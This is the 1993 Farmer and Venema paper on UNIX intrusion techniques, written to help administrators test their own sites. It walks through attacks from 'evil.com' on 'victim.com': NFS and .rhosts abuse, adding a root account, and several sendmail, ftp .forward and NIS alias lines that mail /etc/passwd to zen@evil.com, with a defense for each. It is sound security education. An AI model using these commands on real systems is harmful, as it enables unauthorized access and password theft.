Dan Farmer Wietse Venema
Sun Microsystems Eindhoven University of Technology
zen@sun.com wietse@wzv.win.tue.nl
CERT. SRI. The Nic. NCSC. RSA. NASA. MIT. Uunet. Berkeley. Purdue. Sun. You name it, we've seen it broken into. Anything that is on the Internet (and many that isn't) seems to be fairly easy game. Are these targets unusual? What happened?
This seems to be the popular image of a system cracker. Young, inexperienced, and possessing vast quantities of time to waste, to get into just one more system. However, there is a far more dangerous type of system cracker out there. One who knows the ins and outs of the latest security auditing and cracking tools, who can modify them for specific attacks, and who can write his/her own programs. One who not only reads about the latest security holes, but also personally discovers bugs and vulnerabilities. A deadly creature that can both strike poisonously and hide its tracks without a whisper or hint of a trail. The uebercracker is here.
In an effort to shed some light on how more advanced intrusions occur, this paper outlines various mechanisms that crackers have actually used to obtain access to systems and, in addition, some techniques we either suspect intruders of using, or that we have used ourselves in tests or in friendly/authorized environments.
Our motivation for writing this paper is that system administrators are often unaware of the dangers presented by anything beyond the most trivial attacks. While it is widely known that the proper level of protection depends on what has to be protected, many sites appear to lack the resources to assess what level of host and network security is adequate. By showing what intruders can do to gain access to a remote site, we are trying to help system administrators to make _informed_ decisions on how to secure their site -- or not. We will limit the discussion to techniques that can give a remote intruder access to a (possibly non-interactive) shell process on a UNIX host. Once this is achieved, the details of obtaining root privilege are beyond the scope of this work -- we consider them too site-dependent and, in many cases, too trivial to merit much discussion.
We want to stress that we will not merely run down a list of bugs or security holes -- there will always be new ones for a potential attacker to exploit. The purpose of this paper is to try to get the reader to look at her or his system in a new way -- one that will hopefully afford him or her the opportunity to _understand_ how their system can be compromised, and how.
We would also like to reiterate to the reader that the purpose of this paper is to show you how to test the security of your own site, not how to break into other people's systems. The intrusion techniques we illustrate here will often leave traces in your system auditing logs -- it might be constructive to examine them after trying some of these attacks out, to see what a real attack might look like. Certainly other sites and system administrators will take a very dim view of your activities if you decide to use their hosts for security testing without advance authorization; indeed, it is quite possible that legal action may be pursued against you if they perceive it as an attack.
There are four main parts to the paper. The first part is the introduction and overview. The second part attempts to give the reader a feel for what it is like to be an intruder and how to go from knowing nothing about a system to compromising its security. This section goes over actual techniques to gain information and entrance and covers basic strategies such as exploiting trust and abusing improperly configured basic network services (ftp, mail, tftp, etc.) It also discusses slightly more advanced topics, such as NIS and NFS, as well as various common bugs and configuration problems that are somewhat more OS or system specific. Defensive strategies against each of the various attacks are also covered here.
The third section deals with trust: how the security of one system depends on the integrity of other systems. Trust is the most complex subject in this paper, and for the sake of brevity we will limit the discussion to clients in disguise.
The fourth section covers the basic steps that a system administrator may take to protect her or his system. Most of the methods presented here are merely common sense, but they are often ignored in practice -- one of our goals is to show just how dangerous it can be to ignore basic security practices.
Case studies, pointers to security-related information, and software are described in the appendices at the end of the paper.
While exploring the methods and strategies discussed in this paper we we wrote SATAN (Security Analysis Tool for Auditing Networks.) Written in shell, perl, expect and C, it examines a remote host or set of hosts and gathers as much information as possible by remotely probing NIS, finger, NFS, ftp and tftp, rexd, and other services. This information includes the presence of various network information services as well as potential security flaws -- usually in the form of incorrectly setup or configured network services, well-known bugs in system or network utilities, or poor or ignorant policy decisions. It then can either report on this data or use an expert system to further investigate any potential security problems. While SATAN doesn't use all of the methods that we discuss in the paper, it has succeeded with ominous regularity in finding serious holes in the security of Internet sites. It will be posted and made available via anonymous ftp when completed; Appendix A covers its salient features.
Note that it isn't possible to cover all possible methods of breaking into systems in a single paper. Indeed, we won't cover two of the most effective methods of breaking into hosts: social engineering and password cracking. The latter method is so effective, however, that several of the strategies presented here are geared towards acquiring password files. In addition, while windowing systems (X, OpenWindows, etc.) can provide a fertile ground for exploitation, we simply don't know many methods that are used to break into remote systems. Many system crackers use non-bitmapped terminals which can prevent them from using some of the more interesting methods to exploit windowing systems effectively (although being able to monitor the victim's keyboard is often sufficient to capture passwords). Finally, while worms, viruses, trojan horses, and other malware are very interesting, they are not common (on UNIX systems) and probably will use similar techniques to the ones we describe in this paper as individual parts to their attack strategy.
What should you do? First, try to gather information about your (target) host. There is a wealth of network services to look at: finger, showmount, and rpcinfo are good starting points. But don't stop there -- you should also utilize DNS, whois, sendmail (smtp), ftp, uucp, and as many other services as you can find. There are so many methods and techniques that space precludes us from showing all of them, but we will try to show a cross-section of the most common and/or dangerous strategies that we have seen or have thought of. Ideally, you would gather such information about all hosts on the subnet or area of attack --- information is power -- but for now we'll examine only our intended target.
To start out, you look at what the ubiquitous finger command shows you (assume it is 6pm, Nov 6, 1993):
victim % finger @victim.com [victim.com] Login Name TTY Idle When Where zen Dr. Fubar co 1d Wed 08:00 death.comGood! A single idle user -- it is likely that no one will notice if you actually manage to break in.
Now you try more tactics. As every finger devotee knows, fingering "@", "0", and "", as well as common names, such as root, bin, ftp, system, guest, demo, manager, etc., can reveal interesting information. What that information is depends on the version of finger that your target is running, but the most notable are account names, along with their home directories and the host that they last logged in from.
To add to this information, you can use rusers (in particular with the -l flag) to get useful information on logged-in users.
Trying these commands on victim.com reveals the following information, presented in a compressed tabular form to save space:
Login Home-dir Shell Last login, from where ----- -------- ----- ---------------------- root / /bin/sh Fri Nov 5 07:42 on ttyp1 from big.victim.com bin /bin Never logged in nobody / Tue Jun 15 08:57 on ttyp2 from server.victim.co daemon / Tue Mar 23 12:14 on ttyp0 from big.victim.com sync / /bin/sync Tue Mar 23 12:14 on ttyp0 from big.victim.com zen /home/zen /bin/bash On since Wed Nov 6 on ttyp3 from death.com sam /home/sam /bin/csh Wed Nov 5 05:33 on ttyp3 from evil.com guest /export/foo /bin/sh Never logged in ftp /home/ftp Never logged inBoth our experiments with SATAN and watching system crackers at work have proved to us that finger is one of the most dangerous services, because it is so useful for investigating a potential target. However, much of this information is useful only when used in conjunction with other data.
For instance, running showmount on your target reveals:
evil % showmount -e victim.com export list for victim.com: /export (everyone) /var (everyone) /usr easy /export/exec/kvm/sun4c.sunos.4.1.3 easy /export/root/easy easy /export/swap/easy easyNote that /export/foo is exported to the world; also note that this is user guest's home directory. Time for your first break-in! In this case, you'll mount the home directory of user "guest." Since you don't have a corresponding account on the local machine and since root cannot modify files on an NFS mounted filesystem, you create a "guest" account in your local password file. As user guest you can put an .rhosts entry in the remote guest home directory, which will allow you to login to the target machine without having to supply a password.
evil # mount victim.com:/export/foo /foo
evil # cd /foo
evil # ls -lag
total 3
1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 .
1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 ..
1 drwx--x--x 9 10001 daemon 1024 Aug 3 15:49 guest
evil # echo guest:x:10001:1:temporary breakin account:/: >> /etc/passwd
evil # ls -lag
total 3
1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 .
1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 ..
1 drwx--x--x 9 guest daemon 1024 Aug 3 15:49 guest
evil # su guest
evil % echo victim.com >> guest/.rhosts
evil % rlogin victim.com
Welcome to victim.com!
victim %
If, instead of home directories, victim.com were exporting filesystems
with user commands (say, /usr or /usr/local/bin), you could replace a
command with a trojan horse that executes any command of your choice.
The next user to execute that command would execute your program.We suggest that filesystems be exported:
If the target has a "+" wildcard in its /etc/hosts.equiv (the default in various vendor's machines) or has the netgroups bug (CERT advisory 91:12), any non-root user with a login name in the target's password file can rlogin to the target without a password. And since the user "bin" often owns key files and directories, your next attack is to try to log in to the target host and modify the password file to let you have root access:
evil % whoami bin evil % rsh victim.com csh -i Warning: no access to tty; thus no job control in this shell... victim % ls -ldg /etc drwxr-sr-x 8 bin staff 2048 Jul 24 18:02 /etc victim % cd /etc victim % mv passwd pw.old victim % (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) > passwd victim % ^D evil % rlogin victim.com -l toor Welcome to victim.com! victim #A few notes about the method used above; "rsh victim.com csh -i" is used to initially get onto the system because it doesn't leave any traces in the wtmp or utmp system auditing files, making the rsh invisible for finger and who. The remote shell isn't attached to a pseudo-terminal, however, so that screen-oriented programs such as pagers and editors will fail -- but it is very handy for brief exploration.
The COPS security auditing tool (see appendix D) will report key files or directories that are writable to accounts other than the superuser. If you run SunOS 4.x you can apply patch 100103 to fix most file permission problems. On many systems, rsh probes as shown above, even when successful, would remain completely unnoticed; the tcp wrapper (appendix D), which logs incoming connections, can help to expose such activities.
evil % cat forward_sucker_file "|/bin/mail zen@evil.com < /etc/passwd" evil % ftp victim.com Connected to victim.com 220 victim FTP server ready. Name (victim.com:zen): ftp 331 Guest login ok, send ident as password. Password: 230 Guest login ok, access restrictions apply. ftp> ls -lga 200 PORT command successful. 150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes). total 5 drwxr-xr-x 4 101 1 512 Jun 20 1991 . drwxr-xr-x 4 101 1 512 Jun 20 1991 .. drwxr-xr-x 2 0 1 512 Jun 20 1991 bin drwxr-xr-x 2 0 1 512 Jun 20 1991 etc drwxr-xr-x 3 101 1 512 Aug 22 1991 pub 226 ASCII Transfer complete. 242 bytes received in 0.066 seconds (3.6 Kbytes/s) ftp> put forward_sucker_file .forward 43 bytes sent in 0.0015 seconds (28 Kbytes/s) ftp> quit evil % echo test | mail ftp@victim.comNow you simply wait for the password file to be sent back to you.
The security auditing tool COPS will check your anonymous ftp setup; see the man page for ftpd, the documentation/code for COPS, or CERT advisory 93:10 for information on how to set up anonymous ftp correctly. Vulnerabilities in ftp are often a matter of incorrect ownership or permissions of key files or directories. At the very least, make sure that ~ftp and all "system" directories and files below ~ftp are owned by root and are not writable by any user.
While looking at ftp, you can check for an older bug that was once widely exploited:
% ftp -n ftp> open victim.com Connected to victim.com 220 victim.com FTP server ready. ftp> quote user ftp 331 Guest login ok, send ident as password. ftp> quote cwd ~root 530 Please login with USER and PASS. ftp> quote pass ftp 230 Guest login ok, access restrictions apply. ftp> ls -al / (or whatever)If this works, you now are logged in as root, and able to modify the password file, or whatever you desire. If your system exhibits this bug, you should definitely get an update to your ftpd daemon, either from your vendor or (via anon ftp) from ftp.uu.net.
The wuarchive ftpd, a popular replacement ftp daemon put out by the Washington University in Saint Louis, had almost the same problem. If your wuarchive ftpd pre-dates April 8, 1993, you should replace it by a more recent version.
Finally, there is a program vaguely similar to ftp -- tftp, or the trivial file transfer program. This daemon doesn't require any password for authentication; if a host provides tftp without restricting the access (usually via some secure flag set in the inetd.conf file), an attacker can read and write files anywhere on the system. In the example, you get the remote password file and place it in your local /tmp directory:
evil % tftp tftp> connect victim.com tftp> get /etc/passwd /tmp/passwd.victim tftp> quitFor security's sake, tftp should not be run; if tftp is necessary, use the secure option/flag to restrict access to a directory that has no valuable information, or run it under the control of a chroot wrapper program.
evil % rpcinfo -p victim.com [output trimmed for brevity's sake]
program vers proto port
100004 2 tcp 673 ypserv
100005 1 udp 721 mountd
100003 2 udp 2049 nfs
100026 1 udp 733 bootparam
100017 1 tcp 1274 rexd
In this case, you can see several significant facts about our target;
first of which is that it is an NIS server. It is perhaps not widely
known, but once you know the NIS domainname of a server, you can get any
of its NIS maps by a simple rpc query, even when you are outside the
subnet served by the NIS server (for example, using the YPX program that
can be found in the comp.sources.misc archives on ftp.uu.net). In
addition, very much like easily guessed passwords, many systems use
easily guessed NIS domainnames. Trying to guess the NIS domainname is
often very fruitful. Good candidates are the fully and partially
qualified hostname (e.g. "victim" and "victim.com"), the organization
name, netgroup names in "showmount" output, and so on. If you wanted to
guess that the domainname was "victim", you could type:
evil % ypwhich -d victim victim.com Domain victim not bound.This was an unsuccessful attempt; if you had guessed correctly it would have returned with the host name of victim.com's NIS server. However, note from the NFS section that victim.com is exporting the "/var" directory to the world. All that is needed is to mount this directory and look in the "yp" subdirectory -- among other things you will see another subdirectory that contains the domainname of the target.
evil # mount victim.com:/var /foo
evil # cd /foo
evil # /bin/ls -alg /foo/yp
total 17
1 drwxr-sr-x 4 root staff 512 Jul 12 14:22 .
1 drwxr-sr-x 11 root staff 512 Jun 29 10:54 ..
11 -rwxr-xr-x 1 root staff 10993 Apr 22 11:56 Makefile
1 drwxr-sr-x 2 root staff 512 Apr 22 11:20 binding
2 drwxr-sr-x 2 root staff 1536 Jul 12 14:22 foo_bar
[...]
In this case, "foo_bar" is the NIS domain name.In addition, the NIS maps often contain a good list of user/employee names as well as internal host lists, not to mention passwords for cracking.
Appendix C details the results of a case study on NIS password files.
char *server;
struct bp_whoami_arg arg; /* query */
struct bp_whoami_res res; /* reply */
/* initializations omitted... */
callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS, BOOTPARAMPROC_WHOAMI,
xdr_bp_whoami_arg, &arg, xdr_bp_whoami_res, &res);
printf("%s has nisdomain %s\n", server, res.domain_name);
The showmount output indicated that "easy" is a diskless client of
victim.com, so we use its client address in the BOOTPARAMPROC_WHOAMI
query:
evil % bootparam victim.com easy.victim.com victim.com has nisdomain foo_bar
nis-master # echo 'foo: "| mail zen@evil.com < /etc/passwd "' >> /etc/aliases nis-master # cd /var/yp nis-master # make aliases nis-master # echo test | mail -v foo@victim.comHopefully attackers won't have control of your NIS master host, but even more hopefully the lesson is clear -- NIS is normally insecure, but if an attacker has control of your NIS master, then s/he effectively has control of the client hosts (e.g. can execute arbitrary commands).
There aren't many effective defenses against NIS attacks; it is an insecure service that has almost no authentication between clients and servers. To make things worse, it seems fairly clear that arbitrary maps can be forced onto even master servers (e.g., it is possible to treat an NIS server as a client). This, obviously, would subvert the entire schema. If it is absolutely necessary to use NIS, choosing a hard to guess domainname can help slightly, but if you run diskless clients that are exposed to potential attackers then it is trivial for an attacker to defeat this simple step by using the bootparam trick to get the domainname. If NIS is used to propagate the password maps, then shadow passwords do not give additional protection because the shadow map is still accessible to any attacker that has root on an attacking host. Better is to use NIS as little as possible, or to at least realize that the maps can be subject to perusal by potentially hostile forces.
Secure RPC goes a long way to diminish the threat, but it has its own problems, primarily in that it is difficult to administer, but also in that the cryptographic methods used within are not very strong. It has been rumored that NIS+, Sun's new network information service, fixes some of these problems, but until now it has been limited to running on Suns, and thus far has not lived up to the promise of the design. Finally, using packet filtering (at the very least port 111) or securelib (see appendix D), or, for Suns, applying Sun patch 100482-02 all can help.
evil % tcpmap victim.com Mapping 128.128.128.1 port 21: ftp port 23: telnet port 25: smtp port 37: time port 79: finger port 512: exec port 513: login port 514: shell port 515: printer port 6000: (X)This suggests that victim.com is running X windows. If not protected properly (via the magic cookie or xhost mechanisms), window displays can be captured or watched, user keystrokes may be stolen, programs executed remotely, etc. Also, if the target is running X and accepts a telnet to port 6000, that can be used for a denial of service attack, as the target's windowing system will often "freeze up" for a short period of time. One method to determine the vulnerability of an X server is to connect to it via the XOpenDisplay() function; if the function returns NULL then you cannot access the victim's display (opendisplay is part of SATAN):
char *hostname;
if (XOpenDisplay(hostname) == NULL) {
printf("Cannot open display: %s\n", hostname);
} else {
printf("Can open display: %s\n", hostname);
}
evil % opendisplay victim.com:0
Cannot open display: victim.com:0
X terminals, though much less powerful than a complete UNIX system, can
have their own security problems. Many X terminals permit unrestricted
rsh access, allowing you to start X client programs in the victim's
terminal with the output appearing on your own screen:
evil % xhost +xvictim.victim.com evil % rsh xvictim.victim.com telnet victim.com -display evil.comIn any case, give as much thought to your window security as your filesystem and network utilities, for it can compromise your system as surely as a "+" in your hosts.equiv or a passwordless (root) account.
evil % telnet victim.com 25 connecting to host victim.com (128.128.128.1.), port 25 connection open 220 victim.com Sendmail Sendmail 5.55/victim ready at Fri, 6 Nov 93 18:00 PDT expn decode 250 <"|/usr/bin/uudecode"> quitRunning the "decode" alias is a security risk -- it allows potential attackers to overwrite any file that is writable by the owner of that alias -- often daemon, but potentially any user. Consider this piece of mail -- this will place "evil.com" in user zen's .rhosts file if it is writable:
evil % echo "evil.com" | uuencode /home/zen/.rhosts | mail decode@victim.comIf no home directories are known or writable, an interesting variation of this is to create a bogus /etc/aliases.pag file that contains an alias with a command you wish to execute on your target. This may work since on many systems the aliases.pag and aliases.dir files, which control the system's mail aliases, are writable to the world.
evil % cat decode bin: "| cat /etc/passwd | mail zen@evil.com" evil % newaliases -oQ/tmp -oA`pwd`/decode evil % uuencode decode.pag /etc/aliases.pag | mail decode@victom.com evil % /usr/lib/sendmail -fbin -om -oi bin@victim.com < /dev/nullA lot of things can be found out by just asking sendmail if an address is acceptable (vrfy), or what an address expands to (expn). When the finger or rusers services are turned off, vrfy and expn can still be used to identify user accounts or targets. Vrfy and expn can also be used to find out if the user is piping mail through any program that might be exploited (e.g. vacation, mail sorters, etc.). It can be a good idea to disable the vrfy and expn commands: in most versions, look at the source file srvrsmtp.c, and either delete or change the two lines in the CmdTab structure that have the strings "vrfy" and "expn". Sites without source can still disable expn and vrfy by just editing the sendmail executable with a binary editor and replacing "vrfy" and "expn" with blanks. Acquiring a recent version of sendmail (see Appendix D) is also an extremely good idea, since there have probably been more security bugs reported in sendmail than in any other UNIX program.
% cat evil_sendmail telnet victim.com 25 << EOSM rcpt to: /home/zen/.rhosts mail from: zen data random garbage . rcpt to: /home/zen/.rhosts mail from: zen data evil.com . quit EOSM evil % /bin/sh evil_sendmail Trying 128.128.128.1 Connected to victim.com Escape character is '^]'. Connection closed by foreign host. evil % rlogin victim.com -l zen Welcome to victim.com! victim %The second hole, fixed only recently, permitted anyone to specify arbitrary shell commands and/or pathnames for the sender and/or destination address. Attempts to keep details secret were in vain, and extensive discussions in mailing lists and usenet news groups led to disclosure of how to exploit some versions of the bug. As with many UNIX bugs, nearly every vendor's sendmail was vulnerable to the problem, since they all share a common source code tree ancestry. Space precludes us from discussing it fully, but a typical attack to get the password file might look like this:
evil % telnet victim.com 25 Trying 128.128.128.1... Connected to victim.com Escape character is '^]'. 220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04 mail from: "|/bin/mail zen@evil.com < /etc/passwd" 250 "|/bin/mail zen@evil.com < /etc/passwd"... Sender ok rcpt to: nosuchuser 550 nosuchuser... User unknown data 354 Enter mail, end with "." on a line by itself . 250 Mail accepted quit Connection closed by foreign host. evil %At the time of writing, version 8.6.4 of sendmail (see Appendix D for information on how to get this) is reportedly the only variant of sendmail with all of the recent security bugs fixed.
There are many ways that a host can trust: .rhosts and hosts.equiv files that allow access without password verification; window servers that allow remote systems to use and abuse privileges; export files that control access via NFS, and more.
Nearly all of these rely on client IP address to hostname conversion to determine whether or not service is to be granted. The simplest method uses the /etc/hosts file for a direct lookup. However, today most hosts use either DNS (the Domain Name Service), NIS, or both for name lookup service. A reverse lookup occurs when a server has an IP address (from a client host connecting to it) and wishes to get the corresponding client hostname.
Although the concept of how host trust works is well understood by most system administrators, the _dangers_ of trust, and the _practical_ problem it represents, irrespective of hostname impersonation, is one of the least understood problems we know of on the Internet. This goes far beyond the obvious hosts.equiv and rhosts files; NFS, NIS, windowing systems -- indeed, much of the useful services in UNIX are based on the concept that well known (to an administrator or user) sites are trusted in some way. What is not understood is how networking so tightly binds security between what are normally considered disjoint hosts.
Any form of trust can be spoofed, fooled, or subverted, especially when the authority that gets queried to check the credentials of the client is either outside of the server's administrative domain, or when the trust mechanism is based on something that has a weak form of authentication; both are usually the case.
Obviously, if the host containing the database (either NIS, DNS, or whatever) has been compromised, the intruder can convince the target host that s/he is coming from any trusted host; it is now sufficient to find out which hosts are trusted by the target. This task is often greatly helped by examining where system administrators and system accounts (such as root, etc.) last logged in from. Going back to our target, victim.com, you note that root and some other system accounts logged in from big.victim.com. You change the PTR record for evil.com so that when you attempt to rlogin in from evil.com to victim.com, victim.com will attempt to look up your hostname and will find what you placed in the record. If the record in the DNS database looks like:
1.192.192.192.in-addr.arpa IN PTR evil.comAnd you change it to:
1.192.192.192.in-addr.arpa IN PTR big.victim.comthen, depending on how naive victim.com's system software is, victim.com will believe the login comes from big.victim.com, and, assuming that big.victim.com is in the /etc/hosts.equiv or /.rhosts files, you will be able to login without supplying a password. With NIS, it is a simple matter of either editing the host database on the NIS master (if this is controlled by the intruder) or of spoofing or forcing NIS (see discussion on NIS security above) to supply the target with whatever information you desire. Although more complex, interesting, and damaging attacks can be mounted via DNS, time and space don't allow coverage of these methods here.
Two methods can be used to prevent such attacks. The first is the most direct, but perhaps the most impractical. If your site doesn't use any trust, you won't be as vulnerable to host spoofing. The other strategy is to use cryptographic protocols. Using the secure RPC protocol (used in secure NFS, NIS+, etc.) is one method; although it has been "broken" cryptographically, it still provides better assurance than RPC authentication schemes that do not use any form of encryption. Other solutions, both hardware (smartcards) and software (Kerberos), are being developed, but they are either incomplete or require changes to system software.
Appendix B details the results of an informal survey taken from a variety of hosts on the Internet.
It is interesting to note that common solutions to security problems such as running Kerberos or using one-time passwords or digital tokens are ineffective against most of the attacks we discuss here. We heartily recommend the use of such systems, but be aware that they are _not_ a total security solution -- they are part of a larger struggle to defend your system.
We never set out to create a cookbook or toolkit of methods and programs on how to break into systems -- instead, we saw that these same methods were being used, every day, against ourselves and against friendly system administrators. We believe that by propagating information that normally wasn't available to those outside of the underworld, we can increase security by raising awareness. Trying to restrict access to "dangerous" security information has never seemed to be a very effective method for increasing security; indeed, the opposite appears to be the case, since the system crackers have shown little reticence to share their information with each other.
While it is almost certain that some of the information presented here is new material to (aspiring) system crackers, and that some will use it to gain unauthorized entrance onto hosts, the evidence presented even by our ad hoc tests shows that there is a much larger number of insecure sites, simply because the system administrators don't know any better -- they aren't stupid or slow, they simply are unable to spend the very little free time that they have to explore all of the security issues that pertain to their systems. Combine that with no easy access to this sort of information and you have poorly defended systems. We (modestly) hope that this paper will provide badly-needed data on how systems are broken into, and further, to explain _why_ certain steps should be taken to secure a system. Knowing why something is a problem is, in our opinion, the real key to learning and to making an informed, intelligent choice as to what security really means for your site.
SATAN consists of several sub-programs, each of which is an executable file (perl, shell, compiled C binary, whatever) that tests a host for a given potential weakness. Adding further test programs is as simple as putting an executable into the main directory with the extension ".sat"; the driver program will automatically execute it. The driver generates a set of targets (using DNS and a fast version of ping together to get "live" targets), and then executes each of the programs over each of the targets. A data filtering/interpreting program then analyzes the output, and lastly a reporting program digests everything into a more readable format.
The entire package, including source code and documentation, will be made freely available to the public, via anonymous ftp and by posting it to one of the numerous source code groups on the Usenet.
Although it was very difficult to verify how many of the entries were valid, with such hostnames such as "Makefile", "Message-Id:", and "^Cs^A^C^M^Ci^C^MpNu^L^Z^O", as well as quite a few wildcard entries, we question the wisdom of putting a site's security in the hands of its users. Many users (especially the ones with larger .rhosts files) attempted to put shell-style comments in their .rhosts files, which most UNIX systems attempt to resolve as valid host names. Unfortunately, an attacker can then use the DNS and NIS hostname spoofing techniques discussed earlier to set their hostname to "#" and freely log in. This puts a great many sites at risk (at least one major vendor ships their systems with comments in their /etc/hosts.equiv files.)
You might think that these sites were not typical, and, as a matter of fact, they weren't. Virtually all of the administrators knew a great deal about security and write security programs for a hobby or profession, and many of the sites that they worked for did either security research or created security products. We can only guess at what a "typical" site might look like.
The tcp wrappers are available via anonymous ftp from ftp.win.tue.nl, in pub/security.
The latest version of berkeley sendmail is available via anonymous ftp from ftp.cs.berkeley.edu, in ucb/sendmail.
Sources for ftpd and many other network utilities can be found in ftp.uu.net, in packages/bsd-sources.
Source for ISS (Internet Security Scanner), a tool that remotely scans for various network vulnerabilities, is available via anonymous ftp from ftp.uu.net, in usenet/comp.sources.misc/volume40/iss.
Securelib is available via anonymous ftp from ftp.uu.net, in usenet/comp.sources.misc/volume36/securelib.
Bellovin, Steve, Using the Domain Name System for System Break-ins, 1992 (unpublished).
Massachusetts Institute of Technology, X Window System Protocol, Version 11, 1990.
Shimomura, Tsutomu, private communication.
Sun Microsystems, OpenWindows V3.0.1 User Commands, March 1992.
Garfinkle, Simson and Spafford, Gene, Practical UNIX Security, O'Reilly and Associates, Inc., 1992.
Hess, David, Safford, David, and Pooch, Udo, A UNIX Network Protocol Study: Network Information Service, Computer Communication Review 22 (5) 1992.
Phreak Accident, Playing Hide and Seek, UNIX style, Phrack, Volume Four, Issue Forty-Three, File 14 of 27.
Ranum, Marcus, Firewalls internet electronic mailing list, Sept 1993.
Schuba, Christoph, Addressing Weaknesses in the Domain Name System Protocal, Purdue University, August 1993.
Thompson, Ken, Reflections on Trusting Trust, Communications of the ACM 27 (8),1984.